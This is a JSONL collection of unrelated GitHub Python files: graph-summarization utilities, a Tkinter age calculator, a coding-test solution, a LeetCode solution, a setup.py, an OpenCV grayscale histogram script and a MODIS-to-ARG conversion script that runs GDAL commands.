+{"seq_id":"25632430242","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 26 16:18:18 2023\r\n\r\n@author: ztli\r\n\"\"\"\r\n\r\nimport os\r\nimport collections\r\nimport math\r\nimport networkx as nx\r\nimport numpy as np\r\nimport pandas as pd\r\nimport random\r\nfrom sys import exit\r\nimport shutil\r\nfrom time import time\r\nimport yaml\r\nfrom supergraph_dask import Supergraph, Supernode\r\n\r\nSEED = 1\r\nrandom.seed(SEED)\r\n\r\ndataset_info = {\"gd\":{\"subgraph_num\":3, \"labeled_node\":True, \"subgraph2label\":True,\"featured_node\":True, \"directed\": False},\r\n \"gf\":{\"subgraph_num\":8, \"labeled_node\":True, \"subgraph2label\":True,\"featured_node\":False, \"directed\": False},\r\n \"mt\":{\"subgraph_num\":6, \"labeled_node\":True, \"subgraph2label\":True,\"featured_node\":True, \"directed\": False},\r\n \"ef\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"mf\":{\"subgraph_num\":1, \"labeled_node\":True, \"subgraph2label\":False,\"featured_node\":True, \"directed\": False},\r\n \"db\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"yt\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"lj\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"sk\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"ea\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True},\r\n \"ss\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True},\r\n \"se\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True},\r\n \"cc\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"ch\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": False},\r\n \"pg\":{\"subgraph_num\":1, \"labeled_node\":False, \"subgraph2label\":False,\"featured_node\":False, \"directed\": True}}\r\n\r\ndataset_dfcolumns = [\"FromNodeId\", \"ToNodeId\"]\r\n\r\ndef ReadYmlConfig(filename):\r\n \r\n if(not os.path.exists(filename)):\r\n print(\"Can not find config file!\")\r\n exit(1)\r\n \r\n with open(filename, \"r\") as f:\r\n config = yaml.load(f.read(), Loader=yaml.Loader)\r\n return config\r\n\r\ndef WriteDf(f, df, app):\r\n i = 0\r\n n = len(df)\r\n\r\n while i < n:\r\n f.write(\"%d\\t%d\\t%s\\n\" % (df.iloc[i,0], df.iloc[i,1], app))\r\n i=i+1\r\n \r\n return i+1\r\n\r\ndef WriteData(filename, df, deleted_df, retrain=False):\r\n \r\n if os.path.exists(filename):\r\n # Delete Folder code\r\n os.remove(filename)\r\n \r\n f = open(filename,\"a\")\r\n \r\n line1 = WriteDf(f, df, app=\"1\")\r\n line2 = 0\r\n \r\n if(retrain == False):\r\n line2 = WriteDf(f, deleted_df, app=\"-1\")\r\n else:\r\n assert not deleted_df\r\n \r\n f.close()\r\n\r\n return line1 + line2\r\n\r\ndef GenerateMossoInput(df, G, deleted_edges_idx, filename, retrain = False ):\r\n\r\n edgelist = list(G.edges)\r\n\r\n def MakeDfWritten2MossoInput(edgelist, idx_range):\r\n\r\n df = pd.DataFrame()\r\n df_fromnodeid = []\r\n df_tonodeid = []\r\n\r\n for idx in idx_range:\r\n df_fromnodeid.append(edgelist[idx][0])\r\n df_tonodeid.append(edgelist[idx][1])\r\n \r\n df[\"FromNodeId\"] = df_fromnodeid\r\n df[\"ToNodeId\"] = df_tonodeid\r\n\r\n return df\r\n \r\n df = MakeDfWritten2MossoInput(edgelist, range(G.number_of_edges()))\r\n \r\n if(retrain == False):\r\n deleted_df = MakeDfWritten2MossoInput(edgelist, deleted_edges_idx)\r\n else:\r\n deleted_df = None\r\n\r\n nline = WriteData(filename, df, deleted_df, retrain = retrain)\r\n print(\"having write %d rows to outputfile %s\" % (nline, filename))\r\n\r\ndef RemoveDiEdges(df):\r\n new_cols = list(df.columns)\r\n new_cols.reverse()\r\n\r\n removed_df = df[new_cols].copy()\r\n removed_df.columns = df.columns\r\n \r\n return pd.merge(removed_df, df, how = 'inner')\r\n\r\n\"\"\"\r\nread from .txt format file\r\n\"\"\"\r\ndef ReadGraphfile2Dataframe(dataset = \"gd\", subgraph = [1,2,3], filename = \"\", dataset_folder = \"\",\r\n demo = True, sample = 0.01, random_seed = SEED):\r\n \r\n assert subgraph == -1 or len(subgraph) <= dataset_info[dataset][\"subgraph_num\"]\r\n assert dataset in dataset_info.keys()\r\n \r\n datafolder = os.path.join(dataset_folder, dataset)\r\n \r\n df = pd.DataFrame(columns=dataset_dfcolumns)\r\n \r\n def MakeSubgraphFilename(number):\r\n return \"subgraph_\" + str(number) + \".csv\"\r\n \r\n def MakeNormalGraphFilename(dataset):\r\n if(dataset == \"mf\"):\r\n return dataset + \".csv\"\r\n else:\r\n return dataset + \".txt\"\r\n \r\n def AddOffset2Subgraph(df, offset):\r\n return df.add(offset)\r\n \r\n if(subgraph == -1):\r\n subgraph_range = list(range(1, dataset_info[dataset][\"subgraph_num\"]+1))\r\n else:\r\n subgraph_range = subgraph\r\n\r\n if(dataset_info[dataset][\"subgraph_num\"] > 1):\r\n \r\n offset = 0\r\n \r\n for i in subgraph_range:\r\n subgraph_filename = os.path.join(datafolder, MakeSubgraphFilename(i))\r\n tmpdf = pd.read_csv(subgraph_filename, header = 0)\r\n tmpdf.columns = dataset_dfcolumns\r\n tmpdf = AddOffset2Subgraph(tmpdf, offset)\r\n offset += len(tmpdf)\r\n \r\n df = pd.concat([df, tmpdf], ignore_index = True)\r\n\r\n elif(dataset_info[dataset][\"subgraph_num\"] == 1):\r\n \r\n filename = os.path.join( datafolder, MakeNormalGraphFilename(dataset))\r\n \r\n if(dataset == \"mf\"):\r\n df = pd.read_csv(filename, header = 0)\r\n else:\r\n df = pd.read_csv(filename, skiprows=3, delimiter='\\t')\r\n \r\n df.columns = dataset_dfcolumns\r\n \r\n # generate demo for experiment\r\n if(sample < 1 and demo and len(df) > 100000):\r\n df = df.sample(frac = sample, random_state = SEED)\r\n \r\n # remove self loops from df\r\n self_loop_idx = []\r\n for i in range(len(df)):\r\n if(df.iloc[i,0] == df.iloc[i,1]):\r\n self_loop_idx.append(i)\r\n print(\"%d selfloop detected.\" % len(self_loop_idx))\r\n df.drop(index = self_loop_idx).reset_index(inplace = True)\r\n \r\n # if(dataset_info[dataset][\"directed\"] == False):\r\n # df = RemoveDiEdges(df)\r\n\r\n return df\r\n\r\ndef BuildGraphFromDf(df, dataset, relabel = True):\r\n \r\n nrows = len(df)\r\n \r\n # initialize graph\r\n if(dataset_info[dataset][\"directed\"]):\r\n G = nx.DiGraph()\r\n else:\r\n G = nx.Graph()\r\n \r\n t1 = time()\r\n \r\n # build graph from dataframe\r\n for i in range(nrows):\r\n G.add_edge(df.iloc[i,0], df.iloc[i,1]) \r\n \r\n t2 = time()\r\n \r\n if(relabel):\r\n mapping = dict(zip(G, range(G.number_of_nodes())))\r\n G = nx.relabel_nodes(G, mapping)\r\n \r\n print(\"Build graph timing: %.3f, min and max node label:%d and %d\" % (t2-t1, min(G.nodes), max(G.nodes)))\r\n \r\n return G\r\n\r\n\"\"\"\r\nsample deleted item index\r\n\"\"\"\r\ndef GenerateDeletedIdx(G, delete_p, delete_vertex):\r\n deleted_edges_idx = []\r\n deleted_nodes_idx = []\r\n \r\n random.seed(0)\r\n\r\n if(delete_vertex):\r\n if(delete_p > 0 and delete_p < 1):\r\n nodes = G.number_of_nodes()\r\n deleted_nodes_idx = random.sample(range(nodes), int(delete_p*nodes))\r\n else:\r\n if(delete_p > 0 and delete_p < 1):\r\n edges = G.number_of_edges()\r\n deleted_edges_idx = random.sample(range(edges), int(delete_p*edges))\r\n \r\n return deleted_edges_idx, deleted_nodes_idx\r\n\r\ndef PrintDegreeInfo(G, max_degree = 1):\r\n \r\n degree_cnt = collections.defaultdict(int)\r\n\r\n for v in G.nodes:\r\n if(G.degree[v] <= max_degree):\r\n degree_cnt[G.degree[v]] += 1\r\n\r\n for d in range(max_degree+1):\r\n print(\"%d %d-degree nodes\" % (degree_cnt[d], d))\r\n\r\ndef RemoveItemFromGraphByIdx(G, deleted_vertex, deleted_idx):\r\n if(deleted_vertex):\r\n G.remove_nodes_from(deleted_idx)\r\n else:\r\n edgelist = list(G.edges)\r\n for idx in deleted_idx:\r\n G.remove_edge(edgelist[idx][0], edgelist[idx][1])\r\n return G\r\n\r\ndef MakeMossoInputfilename(inputfolder, datasetname, delete_p, retrain):\r\n filename = '-'.join([datasetname, str(delete_p), \"r\" if retrain else \"d\"]) + \".txt\"\r\n return os.path.join(inputfolder, filename)\r\n\r\ndef CommunityDetection(graph, prefix):\r\n t1 = time()\r\n graph_community = nx.community.louvain_communities(graph)\r\n \r\n t2 = time()\r\n print(\"%s graph community detection timing: %.3f\" % (prefix, t2 - t1))\r\n return graph_community\r\n\r\n\"\"\"\r\nRead .txt format datafile to graph.\r\ngen_delete: whether create a graph that has already removed the target edges/nodes.\r\n if gen_delete = True, then the returned graph has already removed the target edges/nodes,\r\n and the deleted_edges would be None.\r\n otherwise, the returned graph is generated originally from the datafile without\r\n edges/nodes removal, and deleted_edges contains the edges to be removed.\r\ndelete_vertex: whether to delete by vertices or by edges.if delete_vertex = True,\r\n then delete by vertices, that is, remove all the edges related to a vertices,\r\n and the returned deleted_nodes is not empty. if delete_vertex = False, then the\r\n deleted_nodes is returned empty\r\ndelete_p: control the edges/nodes deletion proportion.\r\n\"\"\"\r\n\r\ndef ReadDatafile(dataset, subgraph, dataset_folder, filename = \"\", sample_frac = 1, \r\n gen_delete = False, delete_vertex = False, delete_p = -1, \r\n relabel = True, genMossoInput = False, mossoinputfolder = \"\"):\r\n \r\n df = ReadGraphfile2Dataframe(dataset = dataset, subgraph = subgraph, \r\n dataset_folder = dataset_folder, \r\n filename = \"\", demo = True, sample = sample_frac, \r\n random_seed = SEED)\r\n print(\"relabel:\", relabel)\r\n G = BuildGraphFromDf(df, dataset = dataset, relabel = relabel)\r\n G.remove_edges_from(nx.selfloop_edges(G))\r\n \r\n deleted_edges_idx, deleted_nodes_idx = GenerateDeletedIdx(G, delete_p = delete_p, \r\n delete_vertex = delete_vertex)\r\n\r\n if(gen_delete):\r\n if(delete_vertex):\r\n deleted_idx = deleted_nodes_idx\r\n else:\r\n deleted_idx = deleted_edges_idx\r\n G = RemoveItemFromGraphByIdx(G, deleted_vertex = delete_vertex, deleted_idx = deleted_idx)\r\n\r\n PrintDegreeInfo(G, max_degree = 1)\r\n print(\"min and max node label:%d and %d\" % (min(G.nodes), max(G.nodes)))\r\n else:\r\n PrintDegreeInfo(G, max_degree = 1)\r\n \r\n if(genMossoInput):\r\n filename = MakeMossoInputfilename(inputfolder = mossoinputfolder, datasetname = dataset, \r\n delete_p = delete_p, retrain = gen_delete)\r\n GenerateMossoInput(df, G, deleted_edges_idx, filename, retrain = gen_delete)\r\n\r\n A = nx.adjacency_matrix(G)\r\n \r\n return G, A, deleted_nodes_idx, deleted_edges_idx\r\n\r\ndef GetCosineDistance(a , b):\r\n dot = np.dot(a, b)\r\n return dot/(np.linalg.norm(a)*np.linalg.norm(b))\r\n\r\ndef GetManhattanDistance(a, b):\r\n \r\n def Reshape(a):\r\n \r\n if(a.shape[0]==1):\r\n a = a.reshape(a.shape[1])\r\n return a\r\n \r\n a = Reshape(a)\r\n b = Reshape(b)\r\n \r\n return np.sum(np.abs(a - b)) #np.linalg.norm(np.logical_xor(a, b), ord=0)\r\n\r\ndef GetEdgeCountV0(a_set, b_set, G, p = 0.6):\r\n cnt = 0\r\n thres = (len(a_set) * p) * (len(b_set) * p)\r\n for u in a_set:\r\n for v in b_set:\r\n cnt += G.has_edge(u,v)\r\n \r\n if(cnt > thres):\r\n return 2\r\n \r\n if(cnt > thres):\r\n return 1\r\n \r\n return False\r\n\r\ndef GetEdgeCountV1(a_set, b_set, edgelist, p = 0.36):\r\n \r\n cnt = len(list(filter(lambda x: x[0] in a_set and x[1] in b_set, edgelist)))\r\n \r\n if(cnt > len(a_set) * len(b_set) * p):\r\n return True\r\n \r\n return False\r\n\r\ndef GetEdgeCountV2(a_set, b_set, G, p = 0.36):\r\n # cnt = 0\r\n \r\n # t1 = time()\r\n # src_a_idx = np.where(np.isin(A_nonzero_row, a_set) == 1)\r\n # t2 = time()\r\n # dst_a = A_nonzero_col[src_a_idx]\r\n # t3 = time()\r\n # cnt = np.sum(np.isin(dst_a, list(b_set)))\r\n # print(\"timing t2-t1: %.3f, t3-t2: %.3f\" % (t2-t1, t3-t2))\r\n \"\"\"\r\n for u in a_set:\r\n dst_u_idx = np.where(A_nonzero_row == u)\r\n dst_u = A_nonzero_col[dst_u_idx]\r\n cnt += len(b_set & set(dst_u))\r\n \"\"\"\r\n \r\n a_set_half_right = list(a_set)[:int(len(a_set) * max(p, 1-p))]\r\n a_set_half_left = list(a_set)[int(len(a_set) * max(p, 1-p)):]\r\n\r\n cnt = 0\r\n for u in a_set_half_right:\r\n for v in b_set:\r\n cnt += G.has_edge(u,v)\r\n \r\n if(cnt + len(a_set_half_left) * len(b_set) < len(a_set) * len(b_set) * p):\r\n return False\r\n \r\n for u in a_set_half_left:\r\n for v in b_set:\r\n cnt += G.has_edge(u,v)\r\n \r\n if(cnt > len(a_set) * len(b_set) * p):\r\n return True\r\n \r\n return False\r\n\r\ndef ReadSupergraphFromFile(config, graph, retrain = \"o\"):\r\n\r\n supernode_file, superedge_file = ReadSUGPTOutput(output_folder = config[\"output_folder\"], \r\n dataset = config[\"dataset\"], delete_p = config[\"delete_p\"], \r\n retrain = retrain)\r\n print(\"=\"*10, \"begin to read sugpt-output:\", supernode_file, \"=\"*10)\r\n supergraph = Supergraph(graph, config)\r\n sn_df = pd.read_csv(supernode_file)\r\n se_df = pd.read_csv(superedge_file)\r\n \r\n # if(sn_df.columns[0] == \"Supernode\" and sn_df.columns[1] == \"Vertex\"):\r\n # print(\"Swap our csv output columns.\")\r\n # sn_df = sn_df[[\"Vertex\",\"Supernode\"]]\r\n \r\n for cnt in range(len(sn_df)):\r\n vertex, sn = sn_df.iloc[cnt, 1], sn_df.iloc[cnt, 0]\r\n if(sn not in supergraph.supernode.keys()):\r\n supergraph.supernode[sn] = Supernode(candidate = set(), aggmethod = None, graph = None, se_gen_method = \"EDG\")\r\n supergraph.supernode[sn].vertices.add(vertex)\r\n\r\n for cnt in range(len(se_df)):\r\n svi, svj = se_df.iloc[cnt, 0], se_df.iloc[cnt, 1]\r\n supergraph.superedge.append([svi, svj])\r\n return supergraph\r\n\r\ndef ReadSUGPTOutput(output_folder = \"\", dataset = \"\", delete_p = 0.1, retrain = \"r\"):\r\n \r\n supernode_file = output_folder + '-'.join([dataset, str(delete_p), \"sn\", retrain]) + \".csv\"\r\n \r\n superedge_file = output_folder + '-'.join([dataset, str(delete_p), \"se\", retrain]) + \".csv\"\r\n\r\n return supernode_file, superedge_file\r\n\r\ndef SaveSupernode(supergraph, supernode_file, chunk):\r\n \r\n def ConcatTmpresult(supernode_df, sv_list, vertices_list):\r\n assert len(sv_list) == len(vertices_list)\r\n tmpdf = pd.DataFrame(columns=[\"Supernode\",\"Vertex\"])\r\n tmpdf[\"Supernode\"] = sv_list\r\n tmpdf[\"Vertex\"] = vertices_list\r\n supernode_df = pd.concat([supernode_df, tmpdf], ignore_index=True)\r\n return supernode_df\r\n \r\n supernode_df = pd.DataFrame()\r\n sv_list = []\r\n vertices_list = []\r\n \r\n cnt = 0\r\n for sv in supergraph.supernode:\r\n for vertex in supergraph.supernode[sv].vertices:\r\n sv_list.append(sv)\r\n vertices_list.append(vertex)\r\n cnt += 1\r\n \r\n if(cnt > chunk):\r\n supernode_df = ConcatTmpresult(supernode_df, sv_list, vertices_list)\r\n \r\n # clear tmpresult\r\n cnt = 0\r\n sv_list.clear()\r\n vertices_list.clear()\r\n \r\n supernode_df = ConcatTmpresult(supernode_df, sv_list, vertices_list)\r\n \r\n assert len(supernode_df[\"Vertex\"].unique()) == supergraph.graph.vertices_num\r\n supernode_df.to_csv(supernode_file, index = False)\r\n print(\"save supernode to file: \", supernode_file)\r\n \r\ndef SaveSuperedge(supergraph, superedge_file, chunk):\r\n \r\n def ConcatTmpresult(superedge_df, from_list, to_list):\r\n assert len(from_list) == len(to_list)\r\n tmpdf = pd.DataFrame(columns=[\"From\",\"To\"])\r\n tmpdf[\"From\"] = from_list\r\n tmpdf[\"To\"] = to_list\r\n superedge_df = pd.concat([superedge_df, tmpdf], ignore_index=True)\r\n return superedge_df\r\n \r\n superedge_df = pd.DataFrame()\r\n from_list = []\r\n to_list = []\r\n \r\n cnt = 0\r\n for se in supergraph.superedge:\r\n from_list.append(se[0])\r\n to_list.append(se[1])\r\n \r\n if(cnt > chunk):\r\n superedge_df = ConcatTmpresult(superedge_df, from_list, to_list)\r\n \r\n # clear tmpresult\r\n cnt = 0\r\n from_list.clear()\r\n to_list.clear()\r\n \r\n superedge_df = ConcatTmpresult(superedge_df, from_list, to_list)\r\n \r\n superedge_df.to_csv(superedge_file, index = False)\r\n print(\"save superedge to file: \", superedge_file)\r\n \r\ndef SaveSupergraph(supergraph, supernode_file, superedge_file, chunk = 10000, retrain = \"r\", dp = 0.1, output_folder = \"./\"):\r\n \r\n if(supernode_file == \"\"):\r\n supernode_file = output_folder + '-'.join([supergraph.dataset, str(dp), \"sn\", retrain]) + \".csv\"\r\n\r\n if(superedge_file == \"\"):\r\n superedge_file = output_folder + '-'.join([supergraph.dataset, str(dp), \"se\", retrain]) + \".csv\"\r\n\r\n SaveSupernode(supergraph, supernode_file, chunk)\r\n SaveSuperedge(supergraph, superedge_file, chunk)\r\n\r\ndef SaveOriginalSupergraph(supergraph, supernode_file, superedge_file, chunk = 10000, output_folder = \"./\"):\r\n \r\n if(supernode_file == \"\"):\r\n supernode_file = output_folder + '-'.join([supergraph.dataset, \"sn\", \"o\" ]) + \".csv\"\r\n\r\n if(superedge_file == \"\"):\r\n superedge_file = output_folder + '-'.join([supergraph.dataset, \"se\", \"o\"]) + \".csv\"\r\n\r\n SaveSupernode(supergraph, supernode_file, chunk)\r\n SaveSuperedge(supergraph, superedge_file, chunk)\r\n\r\ndef ReadSupergraphFromFilev0(supergraph, supernode_file, superedge_file):\r\n sn_df = pd.read_csv(supernode_file)\r\n se_df = pd.read_csv(superedge_file)\r\n \r\n if(sn_df.columns[0] == \"Supernode\" and sn_df.columns[1] == \"Vertex\"):\r\n print(\"Swap our csv output columns.\")\r\n sn_df = sn_df[[\"Vertex\",\"Supernode\"]]\r\n \r\n for cnt in range(len(sn_df)):\r\n vertex, sn = sn_df.iloc[cnt, 0], sn_df.iloc[cnt, 1]\r\n supergraph[sn].vertices.add(vertex)\r\n\r\n return\r\n\r\nif __name__ == \"__main__\":\r\n a = random.sample(range(100),5)\r\n print(a)","repo_name":"Zitong115/SUGPT","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":18993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29647992296","text":"from tkinter import *\r\nfrom datetime import date\r\n\r\ndef CalculateAge():\r\n today = date.today()\r\n birthDate = date(int(yearEntry.get()), int(monthEntry.get()), int(dayEntry.get()))\r\n age = today.year - birthDate.year - ((today.month, today.day) < (birthDate.month, birthDate.day))\r\n result_label.config(text=f\"{nameValue.get()}, your age is {age}\", font=(\"Helvetica\", 30))\r\n\r\nroot = Tk()\r\nroot.geometry(\"800x600\")\r\nroot.resizable(False, False)\r\nroot.title(\"Age Calculator\")\r\n\r\nphoto = PhotoImage(file=r\"C:\\Users\\MORIS\\Downloads\\Documents\\Age Calculator.png\")\r\nmyimage = Label(image=photo)\r\nmyimage.pack(padx=15, pady=15)\r\n\r\nLabel(text=\"Name\", font=(\"Helvetica\", 23)).place(x=200, y=250)\r\nLabel(text=\"Year\", font=(\"Helvetica\", 23)).place(x=200, y=300)\r\nLabel(text=\"Month\", font=(\"Helvetica\", 23)).place(x=200, y=350)\r\nLabel(text=\"Day\", font=(\"Helvetica\", 23)).place(x=200, y=400)\r\n\r\nnameValue = StringVar()\r\nnameEntry = Entry(root, textvariable=nameValue, width=30, bd=3, font=(\"Helvetica\", 20))\r\nnameEntry.place(x=300, y=250)\r\n\r\nyearEntry = Entry(root, width=30, bd=3, font=(\"Helvetica\", 20))\r\nyearEntry.place(x=300, y=300)\r\n\r\nmonthEntry = Entry(root, width=30, bd=3, font=(\"Helvetica\", 20))\r\nmonthEntry.place(x=300, y=350)\r\n\r\ndayEntry = Entry(root, width=30, bd=3, font=(\"Helvetica\", 20))\r\ndayEntry.place(x=300, y=400)\r\n\r\nresult_label = Label(root, text=\"\", font=(\"Helvetica\", 30))\r\nresult_label.place(x=300, y=500)\r\n\r\nButton(text=\"Calculate age\", font=(\"Helvetica\", 20), bg=\"black\", fg=\"white\", width=11, height=2, command=CalculateAge).place(x=300, y=450)\r\n\r\nroot.mainloop()\r\n","repo_name":"morris-web/python-projects","sub_path":"AGE.py","file_name":"AGE.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1057456461","text":"T = int(input())\nfor test_case in range(1, T + 1):\n result = 0\n days = int(input())\n prices = list(map(int, input().split()))\n \n while prices:\n start = 0\n count = 0\n total = 0\n \n pivot = max(prices)\n pi = prices.index(pivot)\n sub_prices = prices[start:pi]\n count = len(sub_prices)\n total = sum(sub_prices)\n result += prices[pi] * count - total\n \n if pi == days - 1:\n break\n else:\n prices = prices[pi + 1:]\n print(\"#\" + str(test_case), result)","repo_name":"hydenny/coding-test-practice","sub_path":"swea/1859. 백만 장자 프로젝트.py","file_name":"1859. 백만 장자 프로젝트.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35447858364","text":"# -*- coding: utf-8 -*-\n\"\"\"\n剑指 Offer 03. 数组中重复的数字\n找出数组中重复的数字。\n\n在一个长度为 n 的数组 nums 里的所有数字都在 0~n-1 的范围内。数组中某些数字是重复的,\n但不知道有几个数字重复了,也不知道每个数字重复了几次。请找出数组中任意一个重复的数字。\n\n示例 1:\n\n输入:\n[2, 3, 1, 0, 2, 5, 3]\n输出:2 或 3\n \n限制:\n\n2 <= n <= 100000\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def findRepeatNumber_1(self, nums: List[int]) -> int:\n \"\"\"\n 方法一:哈希表 / Set\n 时间复杂度 O(N) : 遍历数组使用 O(N) ,HashSet 添加与查找元素皆为 O(1) 。\n 空间复杂度 O(N) : HashSet 占用 O(N) 大小的额外空间。\n :param nums:\n :return:\n \"\"\"\n hashset = set()\n for num in nums:\n if num in hashset:\n return num\n else:\n hashset.add(num)\n return -1\n # hashset = {}\n # for num in nums:\n # if hashset.get(num) is not None:\n # return num\n # else:\n # hashset[num] = num\n\n def findRepeatNumber_2(self, nums: [int]) -> int:\n \"\"\"\n 方法二:原地交换\n 时间复杂度 O(N) : 遍历数组使用 O(N) ,每轮遍历的判断和交换操作使用 O(1) 。\n 空间复杂度 O(1) : 使用常数复杂度的额外空间。\n :param nums:\n :return:\n \"\"\"\n nums = nums.copy()\n i = 0\n while i < len(nums):\n if nums[i] == i:\n i += 1\n continue\n if nums[nums[i]] == nums[i]: return nums[i]\n temp = nums[nums[i]]\n nums[nums[i]] = nums[i]\n nums[i] = temp\n\n\nif __name__ == '__main__':\n solution = Solution()\n nums = [5, 4, 1, 0, 2, 5, 3]\n print(solution.findRepeatNumber_1(nums))\n print(solution.findRepeatNumber_2(nums))\n\n\n\n\n\n","repo_name":"MaoningGuan/LeetCode","sub_path":"剑指 Offer(第 2 版)/findRepeatNumber.py","file_name":"findRepeatNumber.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"11599004212","text":"import os\nfrom setuptools import setup, find_packages\n\ndef read(fname):\n try:\n with open(os.path.join(os.path.dirname(__file__), fname)) as fh:\n return fh.read()\n except IOError:\n return ''\n\n# requirements = read(\"requirements.txt\").splitlines()\nlong_description = read(\"README.md\")\n\nsetup(\n name=\"mtorwaradar\",\n version=\"1.0\",\n author=\"Rija Faniriantsoa\",\n author_email=\"rijaf@iri.columbia.edu\",\n description=\"Meteo Rwanda Radar Data Processing\",\n url=\"https://github.com/rijaf-iri/mtorwaradar\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n packages=find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Intended Audience :: Meteo Rwanda\",\n \"Operating System :: OS Independent\",\n ],\n python_requires=\">=3.8\",\n # install_requires=requirements,\n)\n","repo_name":"rijaf-iri/mtorwaradar","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70722384167","text":"import cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nsample = cv.imread('./sample.jpg')\n\nimg = cv.resize(sample, (852, 480), interpolation=cv.INTER_AREA)\n\n# Convert to Grayscale\nb = img[:,:,0]\ng = img[:,:,1]\nr = img[:,:,2]\n\n# save amount of row and column\nrow_len = len(img)\ncol_len = len(img[0])\n\n# Noob Convert/Mathematical\n# img_gray = np.zeros((row_len, col_len))\n# for row in range(row_len):\n# for col in range(col_len):\n# # worst grayscale\n# # gray[row, col] = round((r[row, col] + g[row, col] + b[row, col]) / 3)\n# # best grayscale\n# img_gray[row, col] = round(0.299 * r[row, col] + 0.587 * g[row, col] + 0.114 * b[row, col])\n\n# # Convert integer from array to unsigned integer for remove bug on matrix image\n# img_gray = img_gray.astype(np.uint8)\n\n# Pro Convert\nimg_gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n#! Create Histogram GS\n\n# Create 256 row using zeros\ngs_plot = np.zeros((256))\n\n# know pixel and add pixel to plot\nfor gsRow in range(row_len):\n for gsCol in range(col_len):\n pixel = img_gray[gsRow, gsCol]\n \n gs_plot[pixel] += 1 / (row_len * col_len)\n\n# show histogram\nplt.xlabel(\"Value\")\nplt.ylabel(\"Probability\")\ncv.imshow('sample', img_gray)\nplt.plot(gs_plot, color = (0.5, 0.5, 0.5))\nplt.show()\n\n\n# cv.imshow('sample', img)\ncv.waitKey(0)\ncv.destroyAllWindows()\n","repo_name":"cynchronos/PCD-Praktik","sub_path":"histogram/histogramGS.py","file_name":"histogramGS.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"34982625487","text":"## This is just a sample script used to transform HDF files into ARG files\n## added as a point of reference, in case it's useful.\n\nimport os\nimport glob\n\n## Download yearly MODIS land cover data (500m) for the following year\n## and generate an arg for a specific layer.\n\nyear = \"2011\"\nlayer_name = \"Land_Cover_Type_1\"\n\nfiles = glob.glob(\"*A%s*hdf\" % year)\nfile_string = \" \".join(files)\n\nlayer_string = \"%s_%s\" % (layer_name, year)\ncmd1_start = \"gdalbuildvrt %s.vrt \" % (layer_string)\n\ndef makeLayer(filename):\n return \"HDF4_EOS:EOS_GRID:\\\"%s\\\":MOD12Q1:%s\" % (filename, layer_name)\n\nlayers = map(makeLayer, files)\nlayers_list = \" \".join(layers)\ncmd1 = cmd1_start + layers_list\nprint(cmd1)\nos.system(cmd1)\n\ncmd2 = \"gdal_translate -of GTiff %s.vrt %s_orig.tif\" % (layer_string, layer_string)\nprint(cmd2)\nos.system(cmd2)\n\n\nweb_mercator = True\nreproject = \"\"\nif web_mercator: \n reproject = \"-t_srs EPSG:3857\"\n\n## -10018754.171394622\n \ncmd3 = \"gdalwarp -t_srs EPSG:3857 -dstnodata 128 %s_orig.tif %s.tif\" % (layer_string, layer_string) \ncmd3a = \"gdalwarp -dstnodata 128 %s_orig.tif %s_sinusoidal.tif\" % (layer_string, layer_string) \nprint(cmd3)\nprint(cmd3a)\n\nos.system(cmd3)\nos.system(cmd3a)\ncmd4 = \"gdal_translate -of ARG %s.tif %s.arg\" % (layer_string, layer_string)\ncmd4a = \"gdal_translate -of ARG %s_sinusoidal.tif %s_sinusoidal.arg\" % (layer_string, layer_string)\nprint(cmd4)\nprint(cmd4a)\nos.system(cmd4)\nos.system(cmd4a)\n\ncmd5 = \"sed -i 's/uint/int/g' %s.json\" % ( layer_string )\ncmd5a = \"sed -i 's/uint/int/g' %s_sinusoidal.json\" % ( layer_string )\nprint(cmd5)\nprint(cmd5a)\nos.system(cmd5)\nos.system(cmd5a)\n\n","repo_name":"ahinz/landsat-downloader","sub_path":"scripts/transform_modis_to_arg.py","file_name":"transform_modis_to_arg.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
